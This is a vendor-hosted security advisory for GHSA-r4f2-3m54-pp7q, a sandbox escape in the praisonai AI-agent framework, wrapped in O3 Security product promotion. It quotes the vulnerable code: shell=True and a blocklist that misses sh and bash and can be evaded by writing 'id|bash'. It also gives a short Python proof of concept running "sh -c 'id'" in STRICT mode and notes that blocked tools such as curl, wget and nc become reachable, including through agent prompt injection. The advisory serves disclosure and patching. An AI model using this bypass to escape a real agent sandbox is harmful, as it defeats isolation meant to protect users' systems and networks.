GHSA-r4f2-3m54-pp7q
HIGHGHSA-r4f2-3m54-pp7q is a high-severity (CVSS 8.8) OS Command Injection vulnerability in praisonai. O3 Security confirms whether GHSA-r4f2-3m54-pp7q is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
PraisonAI Has Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandbox
Blast Radius
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Description
Summary
SubprocessSandbox in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls subprocess.run() with shell=True and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include sh or bash as standalone executables, allowing trivial sandbox escape in STRICT mode via sh -c '<command>'.
Details
sandbox_executor.py:179 (source) -> sandbox_executor.py:326 (sink)
# source -- string-pattern blocklist, sh and bash not in blocked_commands
cmd_name = Path(parts[0]).name
if cmd_name in self.policy.blocked_commands: # sh, bash not blocked
raise SecurityError(...)
dangerous_patterns = [
("| sh", ...), # requires space -- "id|bash" evades this
("| bash", ...), # requires space
]
# sink -- shell=True spawns /bin/sh regardless of sandbox mode
result = subprocess.run(
command,
shell=True,
...
)
PoC
# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode
policy = SandboxPolicy.for_mode(SandboxMode.STRICT)
sandbox = SubprocessSandbox(policy=policy)
result = sandbox.execute("sh -c 'id'")
print(result.stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
Impact
Users who deploy with --sandbox strict have no meaningful OS-level isolation. Any command blocked by the policy (curl, wget, nc, ssh) is trivially reachable via sh -c '<blocked_command>'. Combined with agent prompt injection, an attacker can escape the sandbox and reach the network, filesystem, and cloud metadata services.
Suggested Fix
import shlex
result = subprocess.run(
shlex.split(command),
shell=False,
cwd=cwd,
env=env,
capture_output=capture_output,
text=True,
timeout=timeout
)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | praisonai | all versions | 4.5.97 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update praisonai to 4.5.97 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r4f2-3m54-pp7q is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-r4f2-3m54-pp7q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-r4f2-3m54-pp7q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-r4f2-3m54-pp7q in your dependencies?
O3 detects GHSA-r4f2-3m54-pp7q across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.